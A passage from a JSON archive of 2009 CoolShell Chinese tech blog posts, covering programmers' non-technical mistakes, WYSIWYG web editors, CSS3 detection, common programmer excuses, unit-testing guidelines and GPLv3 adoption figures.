- CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-21 程序员犯的非技术错误(Top 5).md",
    "content": "---\nlayout: post\ntitle: 程序员犯的非技术错误(Top 5)\ndate: 2009/7/21/ 14:24:23\nupdated: 2009/7/21/ 14:24:23\nstatus: publish\npublished: true\ntype: post\n---\n\n\n\n对于程序开发者来说，有两种技术需要我们掌握，一个是技术上的能力，另一个是非技术上的能力。不幸的是，许多程序员过多地关注了技术上的能力，而忽略了非技术上的能力的培养，因此，我们的程序员们经常会有一些很不好的习惯，这里我们例举了程序员们最常犯的5个非技术的错误，与大家共勉。\n\n\n#### 1.- 缺乏团队纪律\n\n\n[“Discipline is the bridge between goals and accomplishment.”](http://thinkexist.com/quotation/discipline_is_the_bridge_between_goals_and/210477.html) Jim Rohn.\n\n\n纪律是一个最有价值的技能，不仅仅只是在软件开发领域，同样在其它领域也是一样的。但对于现实来说，我们很难找到即有才华又有纪律的人。这正如足球队一样，非洲的球员们才华相当的出众，可惜他们总是独自为阵，团队纪律性不足，所以可以有好的成绩，但却无法赢得最后的胜利；而德国队的队员个人技能平平，但其有很强大的团队纪律性，所以，总是能打入最后的决赛并获得冠军。有人说过，个人英雄并不可怕，而有强大纪律性的团队才让人可怕。这正是日本这个民族的可怕之处。况且，软件开发从来都不是一个人可以完成的事情，所以团队工作中的纪律性会是非常重要的。\n\n\n[Steve Pavlina](http://www.stevepavlina.com/) 强调了自律中5个因素：“**承担**, **毅力**, **努力**, **勤奋**, 和**坚持***。*” 这里，我们强烈推荐你读一读Steve的 [关于自律的文章](http://www.stevepavlina.com/blog/2005/06/self-discipline/)。\n\n\n\n下面是我们觉得程序应该有的比较良好的习惯。\n\n\n* 每天都有自己的to do list\n* 在一个时间内只做一个事\n* 把事情做对了\n* 事情没有完全完成时不要轻易结束\n* 慢点总比道歉好，道歉总比不做好\n\n\n#### 2.- 过度自负\n\n\n我们的经验告诉我们，过度的自负的人一般是意识不到自己的自负，下面是一些过度自负的特征，希望你可以从中检测一下自己是否过度自负了。\n\n\n* 觉得自己是最牛的程序员\n* 总是打断谈话\n* 你要求Code Reivew不是要检查代码，而是向大家炫耀你的代码\n\n\n在网上有太多的文章关于程序员的自负的问题，这里有两篇，你可以看看：一篇是Mike Bernat的 [Egoless programming（无自负编程）](http://mikebernat.com/blog/Egoless_Programming_-_Developing_Without_the_Attitude) 还有一个是stackoverflow.com 上的一个[贴子](http://stackoverflow.com/questions/229393/how-do-you-control-your-programmer-ego)。\n\n\n#### 3.- 沟通不畅\n\n\n[“如果我要说十分钟，我需要一周做准备；如果说15分钟，我需要3天做准备；半个小时，我需要两天；如果说一个小时，我现在就准备好了。](http://www.wisdomquotes.com/000747.html)” Woodrow Wilson\n\n\n人类的沟通是我们最主要的活动。成为一个好的沟通者是一件很难的事情，我们不断地和别人交换关于设计，编码，文章的意见，并且我们每天都在试图说服别人我们自己的设计和想法会更好，更有道理……\n\n\n然后，好的沟通者是那些当他们正在解释一些事情的时候，他们的解释是下面这个样子的：\n\n\n* **专注。**不跑题，没有废话。\n* **清晰**. 很容易听懂。\n* **简明**. 加一点就觉得多，少一点都觉得不够。\n\n\n要有一个好的沟通技巧，我们的建议如下：\n\n\n* 如果你觉得你沟通方面不够好的话，请事先准备你要表达的东西，努力做到专注，清晰和简明。\n* 在交谈中，先听，后想，最后再说。\n* 永远从对方的角度思考问题。\n\n\n#### 4.- 忘了用户\n\n\n*[“如果我们不关心我们的用户……那么别人会”](http://thinkexist.com/quotation/if_we_don-t_take_care_of_the_customer-somebody/335078.html)*\n\n\n你的存在，你工作的意思只有一个原因——你的用户。我们在很多时间都会忘了这个事情。经常，我们在工作当中，技术会取代用户而占据了主要的位置，我们可以花费数月的时间来创建一个程序框架，但一个程序框架不会给用户代来任何的价值，我们不是说程序框架不重要，而是说，对于用户的需求来说，这是其次重要的东西。如果离开了用户的需求，我们所有的技术，算法或是精妙的设计将会变得什么也不是。\n\n\n#### 5.- 不懂工作的轻重缓急\n\n\n程序员总是喜欢去研究一些新的或自己感兴趣的东西，但对于软件工程来说，我们更需要知道所有事情的轻重缓急，要学会如何了解事情的优先级，这样才会让我们的工作事半功倍，而我们的工作也会更有效。比如，当用户的站点出现问题的时候，有些时候，我们的程序员过试地关注于问题的重现和原因，而忘记了用户的站点正在流血，无法进行生产。所以，一般来说，最重要的事情首先是恢复用户站点，然后才是去重现和调查问题。在我们的日常工作中，我们要处理很多事情，只有了解到了所有事情的轻重缓急，处理最重要最紧急的事情，我们才能够更好的安排自己的工作，才能够更好的完成我们的事情。不要以为这是一件很简单的事情，这需要我们不断地和别人沟通来了解事情的轻重缓急，事实证明，如果我们不懂工作中的轻重缓急，本来只有一件紧急的事情，如果处理不当，最后可能会演变成多件紧急事情，其它本来不紧急的事，后来也会变得很紧急，最终程序员们顾此失彼，苦不堪言。希望大家切记。\n\n\n（全文完）\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [程序员犯的非技术错误(Top 5)](https://coolshell.cn/articles/1145.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-24 15个Web在线WYSIWYG编辑器.md",
    "content": "---\nlayout: post\ntitle: 15个Web在线WYSIWYG编辑器\ndate: 2009/7/24/ 6:32:9\nupdated: 2009/7/24/ 6:32:9\nstatus: publish\npublished: true\ntype: post\n---\n\n基于WEB的HTML 编辑器，WYSIWYG所见即所得的编辑器，或是一个富文本的编辑器，是我们在开发WEB应用时接收用户输入时必需要考虑的问题。下面是一些开源的WEB在线的WYSWIG编辑器。\n\n\n### 1. [FCKeditor](http://www.fckeditor.net/ \"FCKeditor\")\n\n\nFCKeditor 这些在线编辑器中最著名的一个，其功能相当的强大，很像一个Web的Word软件。它可以方便地和ASP, ASP.NET, PHP, Java, Perl, Phyton 等Web开发语言所集成。并支持皮肤，拼写检查。其还可以配置成一个轻量级的编辑器。而且，它还有很多相当酷的功能。  \n\n![FCKeditor](../wp-content/uploads/2009/07/fckeditor.jpg \"FCKeditor\")\n\n\n\n### 2. [NicEdit](http://nicedit.com/ \"NicEdit\")\n\n\nNicEdit 是一个基于Javascript 编辑器，它可以很容易地被集成到任意的网页中。它还可以把网页上任何的element/div 转成可以编辑的标准的控件。![NicEdit](../wp-content/uploads/2009/07/nicedit.jpg \"NicEdit\")\n\n\n \n\n\n### 3. [TinyMCE](http://tinymce.moxiecode.com/ \"TinyMCE\")\n\n\nTinyMCE 是另一个很有名的所见即所得的编辑器，其受LGPL license控制。Wordpress的编辑器用的就是TinyMCE的。  \n\n![TinyMCE](../wp-content/uploads/2009/07/tinymce.jpg \"TinyMCE\")\n\n\n### 4. [jwysiwyg](http://code.google.com/p/jwysiwyg/ \"jwysiwyg\")\n\n\njwysiwyg 是一个基于 jQuery 的WYSIWYG 插件，相当小，只有7kb的大小，而且相当的简单易用。但功能不多。  \n\n![jwysiwyg - jQuery WYSIWYG plugin](../wp-content/uploads/2009/07/jwysiwyg.jpg \"jwysiwyg - jQuery WYSIWYG plugin\")\n\n\n### 5. [Yahoo! UI Library: Rich Text Editor](http://developer.yahoo.com/yui/editor/ \"Yahoo! UI Library: Rich Text Editor\")\n\n\n这个富文本编辑器是 Yahoo YUI 库中的一部分，用户或以非常简单的扩展它。这对于那些对YUI库很熟悉的人来说是最好的了。  \n\n![Yahoo! UI Library: Rich Text Editor](../wp-content/uploads/2009/07/yui-rich-text-editor.jpg \"Yahoo! UI Library: Rich Text Editor\")\n\n\n### 6. [Xinha](http://xinha.webfactional.com/ \"Xinha\")\n\n\nXinha 也是一个相当强大的WYSIWYG HTML 编辑器，它可以兼容于所有的浏览器，并被开源社区所支持。![xinha](../wp-content/uploads/2009/07/xinha.jpg \"xinha\")\n\n\n### 7. [Openwysiwyg](http://www.openwebware.com/ \"Openwysiwyg\")\n\n\nOpenwysiwyg 也是另一个开源的跨浏览器的 WYSIWYG 编辑器，别看他外表长得不怎么样，但他有很多的功能，特别是表格编辑的功能。  \n\n![openwysiwyg: Free cross browser wysiwyg editor](../wp-content/uploads/2009/07/openwysiwyg.jpg \"openwysiwyg: Free cross browser wysiwyg editor\")\n\n\n### 8. [Free Rich Text Editor](http://freerichtexteditor.com/ \"Free Rich Text Editor\")\n\n\nFree Rich Text Editor 是一个超级简单并且是免费的WYSIWYG 编辑器，它非常容易用来实现和管理基于XHTML的文本。  \n\n![Free Rich Text Editor](../wp-content/uploads/2009/07/free-rich-text-editor.jpg \"Free Rich Text Editor\")\n\n\n### 9. [WMD: The Wysiwym Markdown Editor](http://wmd-editor.com/ \"WMD: The Wysiwym Markdown Editor\")\n\n\nWMD 是一个简单和轻量级的编辑器，它主要用于Blog的评论系统或是论坛回贴系统。  \n\n![WMD: The Wysiwym Markdown Editor](../wp-content/uploads/2009/07/wmd.jpg \"WMD: The Wysiwym Markdown Editor\")\n\n\n### 10. [TTW HTML Editor](http://koivi.com/WYSIWYG-Editor/ \"TTW HTML Editor\")\n\n\nTTW HTML Editor 也是一个很简单轻量级的WYSIWYG编辑器，其主要由Javascripts编写，其拼写检查由SpellerPages编写。这是一个很容易被调用的编辑器。\n\n\n![TTW HTML Editor](../wp-content/uploads/2009/07/ttw-html-editor.jpg \"TTW HTML Editor\")\n\n\n### 11. [Free Text Box](http://freetextbox.com/ \"Free Text Box\")\n\n\nFreeTextBox 也是一个很常用的HTML editor，只不过它只支持ASP.NET。它可以兼容于所有的IE，Mozilla和Firefox。  \n\n![Free Text Box](../wp-content/uploads/2009/07/free-text-box.jpg \"Free Text Box\")\n\n\n### 12. [WYMeditor](http://www.wymeditor.org/ \"WYMeditor\")\n\n\nWYMeditor 是一个 XHTML 的编辑器。WYMeditor 可以创建并生成非常完美的XHTML 结构的源码，并完全严格遵守W3C XHTML 规范。  \n\n![WYMeditor](../wp-content/uploads/2009/07/wymeditor.jpg \"WYMeditor\")\n\n\n### 13. [BlueShoes Wysiwyg Editor](http://www.blueshoes.org/en/javascript/editor/ \"BlueShoes Wysiwyg Editor\")\n\n\n这是一个DHTML 和Javascript 开发的编辑器，它有很多非常酷的功能。例如：用户可以动态的改变编辑器的大小，选取特殊字符，以及选取颜色的功能。  \n\n![BlueShoes Wysiwyg Editor](../wp-content/uploads/2009/07/blueshoes-wysiwys-editor.jpg \"BlueShoes Wysiwyg Editor\")\n\n\n### 14. [markItUp](http://markitup.jaysalvat.com/home/ \"markItUp\")\n\n\nmarkItUp! 是一个jQuery 的JavaScript 插件。它非常的轻量，可以非常容易的定制。你甚至可以定义你最喜欢的键盘热键，以及添加额外的功能。  \n\n![markItUp! Universal markup editor](../wp-content/uploads/2009/07/mark-it-up.jpg \"markItUp! Universal markup editor\")\n\n\n### 15. [SPAW Editor](http://spaweditor.com/en/disp.php/en_products/en_spaw/en_spaw_intro \"SPAW Editor\")\n\n\n这个WYSIWYG 编辑器是一个多页的编辑器，浮动式的工具条和很酷的用户接口，目前只有PHP 和.NET 版本。  \n\n![spaw-editor](../wp-content/uploads/2009/07/spaw-editor.jpg \"spaw-editor\")\n\n\n文章：[来源](http://www.webdesignbooth.com/15-really-useful-web-based-html-editors/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![GCC 用 C++ 来编译](../wp-content/uploads/2012/08/VEC-vs-vector-150x150.jpg)](https://coolshell.cn/articles/8115.html)[GCC 用 C++ 来编译](https://coolshell.cn/articles/8115.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5531.html)[Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html)\n* [![各式各样的验证码](../wp-content/uploads/2012/07/0-150x150.jpg)](https://coolshell.cn/articles/7917.html)[各式各样的验证码](https://coolshell.cn/articles/7917.html)\n* [![你可能不知道的Shell](../wp-content/uploads/2012/11/shell.01-150x150.png)](https://coolshell.cn/articles/8619.html)[你可能不知道的Shell](https://coolshell.cn/articles/8619.html)\n* [![C++ 对象的内存布局](../wp-content/uploads/2014/12/011-150x150.jpg)](https://coolshell.cn/articles/12176.html)[C++ 对象的内存布局](https://coolshell.cn/articles/12176.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\nThe post [15个Web在线WYSIWYG编辑器](https://coolshell.cn/articles/1183.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-24 Internet 技术演变图.md",
    "content": "---\nlayout: post\ntitle: Internet 技术演变图\ndate: 2009/7/24/ 3:51:32\nupdated: 2009/7/24/ 3:51:32\nstatus: publish\npublished: true\ntype: post\n---\n\n点击图片看大图\n\n\n[![Internet 技术演变图 (点击看大图)](../wp-content/uploads/2009/07/Internet-300x248.jpg \"Internet 技术演变图 (点击看大图)\")](https://coolshell.cn/wp-content/uploads/2009/07/Internet.jpg)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/373.html)[RFC1 40岁生日](https://coolshell.cn/articles/373.html)\n* [![某Python实现的尾部递归](../wp-content/uploads/2009/04/snake-150x150.jpg)](https://coolshell.cn/articles/737.html)[某Python实现的尾部递归](https://coolshell.cn/articles/737.html)\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](https://coolshell.cn/articles/7965.html)[一个fork的面试题](https://coolshell.cn/articles/7965.html)\n* [![加班与效率](../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg)](https://coolshell.cn/articles/10217.html)[加班与效率](https://coolshell.cn/articles/10217.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/12192.html)[C/C++返回内部静态成员的陷阱](https://coolshell.cn/articles/12192.html)\nThe post [Internet 技术演变图](https://coolshell.cn/articles/1178.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-24 如何检测浏览器是否支持CSS3.md",
    "content": "---\nlayout: post\ntitle: 如何检测浏览器是否支持CSS3\ndate: 2009/7/24/ 7:0:2\nupdated: 2009/7/24/ 7:0:2\nstatus: publish\npublished: true\ntype: post\n---\n\n如何检测用户的浏览器是否支持CSS3，我们需要使用HTML，CSS和JavaScript来完成这件事情。下面是步骤。\n\n\n**1）先制作下面的HTML**\n\n\n\n```\n\n<span id=\"check\" rel=\"Detect\"></span>\n\n```\n\n**2）然后书写下面的CSS**\n\n\n\n```\n\n#check {\n  display: none;\n  width: 0;\n  height: 0;\n}\n#check[rel^=\"D\"] {\n  display: block;\n  width: 0;\n  height: 0;\n}\n\n```\n\n  \n\n**3）下面是JavaScripts的检测脚本**\n\n\n请确保下面的代码放在HTML文件头。\n\n\n[javascript]  \n\n<script type=\"text/javascript\">  \n\nvar obj = document.getElementById(\"check\");  \n\nvar file=\"special.css\";  \n\nif (window.getComputedStyle)  \n\n    var stat = window.getComputedStyle(obj,null).getPropertyValue(\"display\");  \n\nelse if (obj.currentStyle)  \n\n    var stat = obj.currentStyle.display;  \n\nvar css3 = (stat == \"block\");  \n\nif (css3) alert(\"CSS3 Supported.\");  \n\nelse alert(\"CSS3 not supported.\");  \n\n</script>\n\n\n[/javascript]\n\n\n文章：[来源](http://www.geocities.com/seanmhall2003/css3/detect.html)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/6913.html)[神奇的CSS形状](https://coolshell.cn/articles/6913.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\nThe post [如何检测浏览器是否支持CSS3](https://coolshell.cn/articles/1186.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-24 程序员惯用的解释(Top 25).md",
    "content": "---\nlayout: post\ntitle: 程序员惯用的解释(Top 25)\ndate: 2009/7/24/ 3:32:35\nupdated: 2009/7/24/ 3:32:35\nstatus: publish\npublished: true\ntype: post\n---\n\n 下面是程序员日常工作当中惯用的解释，或是口头禅。我们可以从这一个侧面来看看的程序员的特征和性格，相信你我都说过很多这样的话。不要太认真哦，呵呵。\n\n\n1. 在我这边的电脑上可以工作啊……\n2. 我重来没有听过这样的事\n3. 昨天还能正常工作呢\n4. 好吧，这算一个BUG\n5. 这怎么可能？\n6. 这应该是机器或是环境的问题\n7. 操作系统更新了吗？\n8. 一定又是用户那边的错\n9. 你的测试数据一定有问题\n10. 我从来没有碰过那边的代码！\n11. 是的，是的，我会准备完成\n12. 一定是你搞错了\n13. 哦，这正是我们开发的功能\n14. 我就快准备好了\n15. 当然，还需要做的就只剩修改这些小Bug了。\n16. 我会马上做完的\n17. 最近太不顺了\n18. 我不可能测试所有的case!\n19. 那根本不可能做到\n20. 我记得我已经改了这个bug了\n21. 我做完了，只不过还没有测试过\n22. 程序应该可以工作，只不过还没有测试过\n23. 一定是有人改了我的代码\n24. 你的机器上一定中了什么病毒或木马\n25. 就算是程序有问题，那又怎么样？\n\n\n呵呵，是这样的吗？希望你能分享你所经历的程序员的解释。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [程序员惯用的解释(Top 25)](https://coolshell.cn/articles/1174.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-27 一些单元测试的Guideline.md",
    "content": "---\nlayout: post\ntitle: 一些单元测试的Guideline\ndate: 2009/7/27/ 8:24:57\nupdated: 2009/7/27/ 8:24:57\nstatus: publish\npublished: true\ntype: post\n---\n\nJimmy Bogard 曾经写过一篇文章： 《[从单元测试中获益](http://www.lostechies.com/blogs/jimmy_bogard/archive/2008/12/18/getting-value-out-of-your-unit-tests.aspx)》，这这篇文章中给出了下面三条规则：\n\n\n1. “**测试名应该从用户的角度描述是什么和为什么**” – 这样一来，程序员可以从名字就可以知道用户需要什么样的软件行为。\n2. “**测试也是代码，同样也需要我们更多的爱**” – 真实运行在生产环境下的代码不仅仅只是我们需要去关心和花心思的代码。对于单元测试中的代码同样也需要易读易维护，以及可重用的特性。“*我非常痛恨那些又长又复杂的测试代码，如果一个测试需要30行的单元测试代码，请把其放在一个方法中。一个长的测试步骤只会激怒程序员。如果你在正式的代码中都没有这么长的代码，那么为什么我们需要在测试代码中容忍这样的情形呢？*”\n3. “**不要只用一种固定的模式或组织风格**” *–* 有些时候，对于一些特殊的测试案例，标准的类设计模式，或一个固有的测试装置可能并不能有效的工作。\n\n\n\n[Lior Friedman](http://tech.groups.yahoo.com/group/testdrivendevelopment/message/31412) 加上： “第0条 – 测试应该只测试单元其外部的行为，而不是内部的结构”。或者说，只测试对一个单元的期望，而不是这个单元的构成。\n\n\n[Ravichandran Jv](http://groups.google.com/group/nunit-discuss/msg/56c9d75647731502?hl=en) 也加上了他的条例：\n\n\n1. 一个测试一个断言（如果可能）。\n2. 如果在测试中有“if else” 的语句，请把if和else两个分支拆分成两个测试案例。\n3. 如果一个测试案例中也有if else 分枝，那么这个测试案例也需要被重构。\n4. 测试案例的命名代表了这种测试的类型。例如：TestMakeReservation() 和TestMakeNoReservation()是不一样的类型。\n\n\n[Charlie Poole](http://groups.google.com/group/nunit-discuss/msg/fb335c19a8a44821?hl=en)，NUnit的作者，重述了“一个测试一个断言”成“一个逻辑断言Logical Assert” – 他说， “有时候，因为我们测试API的表现不足，你需要写多个物理的Assert才能达到一个完整的结果。许多使用NUnit框架API进行单元测试的开发，很不可能只使用一个Assert就完成了一个测试”。\n\n\n[Bryan Cook](http://www.bryancook.net/2008/06/test-naming-conventions-guidelines.html) 也提供了一个不错的可供考虑的列表：\n\n\n1. 做到：对Fixture一致地命名\n2. 做到：使用namespace\n3. 做到：测试方法的命名和Setup/TearDown 一致\n4. 考虑：分离你的测试和开发代码\n5. 做到：测试的命令和被测试的功能一致\n6. 考虑：使用”Cannot” 前缀命名期望的异常\n\n\nBryan 有超过 [一打的建议](http://www.bryancook.net/2008/06/test-naming-conventions-guidelines.html)。\n\n\n最后，有些人建议大家读一下 Gerard Meszaros的书： “[xUnit Test Patterns: Refactoring Test Code](http://www.amazon.com/xUnit-Test-Patterns-Refactoring-Addison-Wesley/dp/0131495054/ref=sr_1_1?ie=UTF8&s=books&qid=1248380993&sr=8-1)”\n\n\n文章：[链接](http://www.infoq.com/news/2009/07/Better-Unit-Tests)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/8593.html)[如何测试洗牌程序](https://coolshell.cn/articles/8593.html)\n* [![“单元测试要做多细？”](../wp-content/uploads/2012/09/fight-150x150.jpg)](https://coolshell.cn/articles/8209.html)[“单元测试要做多细？”](https://coolshell.cn/articles/8209.html)\n* [![一些杂项资源](../wp-content/uploads/2010/12/ediff-small-150x150.png)](https://coolshell.cn/articles/3437.html)[一些杂项资源](https://coolshell.cn/articles/3437.html)\n* [![两本电子书](../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg)](https://coolshell.cn/articles/3270.html)[两本电子书](https://coolshell.cn/articles/3270.html)\n* [![PHP分页技术的代码和示例](../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg)](https://coolshell.cn/articles/5160.html)[PHP分页技术的代码和示例](https://coolshell.cn/articles/5160.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/694.html)[Guido认为程序员大多数工作不需要递归](https://coolshell.cn/articles/694.html)\nThe post [一些单元测试的Guideline](https://coolshell.cn/articles/1192.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-28 GPLv3的在开源社区中的占有量.md",
    "content": "---\nlayout: post\ntitle: GPLv3的在开源社区中的占有量\ndate: 2009/7/28/ 9:46:21\nupdated: 2009/7/28/ 9:46:21\nstatus: publish\npublished: true\ntype: post\n---\n\nhttp://www.gnu.org/graphics/heckert_gnu.small.png2007年7月，GPLv3 发布，当时有164个项目加入，一年后，有大约两千个项目使用GPLv3协议，今天，Google开源programs office manager [Chris DiBona](http://sites.google.com/a/dibona.com/dibona-wiki/Home/Biographies-and-Photos)向大家 [宣布](http://twitter.com/dhohndel/status/2800839235) 在Google 开源项目中，使用GPLv3的项目至少有 56,000个。当然，这只是计算了在 [Google Code](http://code.google.com/) 中的项目。\n\n\n对于今天有 225,000 项目的 Google Code，这四分之一的 GPLv3 也是一个不小的数目了。如果我们假设Sourceforge.net 和 Codehaus 也有和Google Code相似的 GPLv3 比率的话，那么，今天使用 GPLv3 的项目将是一个很大的数量。\n\n\n\n这个数据是有意义的，尤其对于那些还在激活的项目，因为Google Code上的活跃的项目比Sourceforge要高得多，在Sourceforge上，估计只有12%的项目还处理激活状态（剩下的88%都是处理长期没有更新，当然也就一直在使用老版本的协议）。虽然和GPLv2比起，GPLv3还很少，但数量已经很大了。\n\n\n以前写过一篇关于GPLv3的文章《[GPLv3：大教堂和集市的新一轮对抗](http://blog.csdn.net/haoel/archive/2007/07/17/1696333.aspx)》，有兴趣的读者不妨一读。\n\n\n下面是开源license的一个比例（时间：2009年7月），仅供参考：\n\n\n[![GPL](../wp-content/uploads/2009/07/GPL.png \"GPL\")](https://coolshell.cn/wp-content/uploads/2009/07/GPL.png)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go 语言简介（上）— 语法](../wp-content/uploads/2012/11/go2-150x150.jpg)](https://coolshell.cn/articles/8460.html)[Go 语言简介（上）— 语法](https://coolshell.cn/articles/8460.html)\n* [![HTTP API 认证授权术](../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png)](https://coolshell.cn/articles/19395.html)[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html)\n* [![Go编程模式：修饰器](../wp-content/uploads/2017/06/go-hardhat-150x150.png)](https://coolshell.cn/articles/17929.html)[Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/3161.html)[AES加密算法动画演示](https://coolshell.cn/articles/3161.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/556.html)[VI的一些小技巧](https://coolshell.cn/articles/556.html)\nThe post [GPLv3的在开源社区中的占有量](https://coolshell.cn/articles/1197.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-7-28 JRuby核心成员投奔Engine Yard.md",
